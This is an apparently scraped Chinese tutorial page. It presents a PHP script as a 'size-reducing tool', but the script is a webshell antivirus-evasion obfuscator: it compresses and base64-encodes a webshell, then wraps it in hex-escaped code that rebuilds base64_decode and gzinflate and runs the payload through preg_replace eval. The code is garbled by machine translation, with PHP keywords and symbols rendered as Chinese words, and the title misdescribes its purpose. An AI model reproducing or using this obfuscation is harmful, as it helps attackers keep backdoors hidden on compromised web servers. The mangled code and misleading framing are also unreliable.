怎么在php中利用壳实现一个减少体积工具

介绍

本篇文章为大家展示了怎么在php中利用壳实现一个减少体积工具,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。

,代码如下:


& lt; ?php
/*
标题:php壳nokill T00L
博客:exploit-db.blogcn.com
*/
error_reporting (0);
@ini_set (& # 39; memory_limit& # 39;, & # 39; 1 & # 39;);
set_time_limit (0);
$ toolname=? argv [0]“;
if ($ argc<2) {
禁止($ toolname);
死;
}
input_file=削减美元($ argv [1]);
$ output_file=& # 39; nokill_& # 39; input_file美元;
如果(file_exists (input_file美元)){
No_kill_c0de (input_file, output_file美元);
回声“PHP壳nokill T00L \ r \ n";
回声“博客:exploit-db.blogcn.com \ r \ n";
回声“输入:{$ input_file} \ r \ n";
$ file_full_path=目录名(__FILE__) .DIRECTORY_SEPARATOR。output_file美元;
回声“[+]生成成功! \ r \ n";
回声“保存到{$ file_full_path}“干净\ r \ n";其他
} {
回声“PHP壳nokill T00L \ r \ n";
回声“博客:exploit-db.blogcn.com \ r \ n";
死亡(“[-]失败!文件input_file不exist"美元);
}
函数No_kill_c0de (input_file, output_file美元){
$ no_whitespace=php_strip_whitespace ($ input_file);
$ no_php_tag=修剪(修剪(修剪(no_whitespace美元,& # 39;& lt; ? php # 39;), & # 39; & lt; ? & # 39;), & # 39; ?祝辞& # 39;);
$ enfile=base64_encode (gzdeflate (no_php_tag美元));
$ shellcode=癨 x3c \ x3f \ x70 \ x68 \ x70 \ xd \ xa";
$ shellcode。=& # 39; $ enfile=& # 39;强生# 39;“& # 39;!”{$ enfile}“强生# 39;“& # 39;强生# 39;;& # 39;干净\ xd \ xa";
$ shellcode。=癨 x24 \ x62 \ x3d \ x73 \ x74 \ x72 \ x5f \ x72 \ x65 \ x70 \ x6c \ x61 \ x63 \ x65 \ x28 \ x27 \ x66 \ x27 \ x2c \将\将\ x2c \将\ x62 \ x66 \ x61 \ x66 \ x73 \ x66 \ x65 \ x66 \ x36 \ x66 \ x34 \ x66 \ x5f \ x66 \ x66 \ x64 \ x66 \ x66 \ x65 \ x66 \ x66 \ x63 \ x66 \ x66 \ x6f \ x66 \ x66 \ x64 \ x66 \ x66 \ x65 \ x66 \将\ x29 \ x3b \ xd \ xa \ x24 \ x67 \ x3d \ x73 \ x74 \ x72 \ x5f \ x72 \ x65 \ x70 \ x6c \ x61 \ x63 \ x65 \ x28 \ x27 \ x58 \ x27 \ x2c \ x27 \ x27 \ x2c \ x27 \ x67 \ x58 \ x58 \ x7a \ x58 \ x58 \ x69 \ x58 \ x58 \ x6e \ x58 \ x58 \ x58 \ x58 \ x66 \ x58 \ x58 \ x58 \ x6c \ x58 \ x58 \ x61 \ x58 \ x58 \ x58 \ x74 \ x58 \ x58 \ x58 \ x58 \ x58 \ x65 \ x27 \ x29 \ x3b \ xd \ xa \ x70 \ x72 \ x65 \ x67 \ x5f \ x72 \ x65 \ x70 \ x6c \ x61 \ x63 \ x65 \ x28 \ x27 \ x5c \ x27 \ x61 \ x5c \ x27 \ x65 \ x69 \ x73 \ x27 \ x2c \ x27 \ \表示就是x65 \ x27 \ x2e x27 \ \ x27表示就是x76 \ x27 \ x2e \ \表示就是x61 \ x27 \ x2e x27 \ x6c \ \ x27 \ x28 \表示就是x27 \ x2e x24 \ x67 \ x28 \ x24 \ x62 \ x28 \ x24 \ x65 \ x6e \ x66 \ x69 \ x6c \ x65 \ x29 \ x29 \ x29 \ x27 \ x2c \ x27 \ x61 \ x27 \ x29 \ x3b \ xd \ xa";
$ shellcode。=癨 x3f \ x3e";
写入(“output_file"美元;,shellcode美元);
}
函数禁令(toolname美元){
回声“PHP壳nokill T00L \ r \ n";
回声“博客:exploit-db.blogcn.com \ r \ n";
回声“用法:{$ toolname} phpwebshell \ r \ n";
}
?比;

上述内容就是怎么在php中利用壳实现一个减少体积工具,你们学到知识或技能了吗?如果还想学到更多技能或者丰富自己的知识储备,欢迎关注行业资讯频道。

怎么在php中利用壳实现一个减少体积工具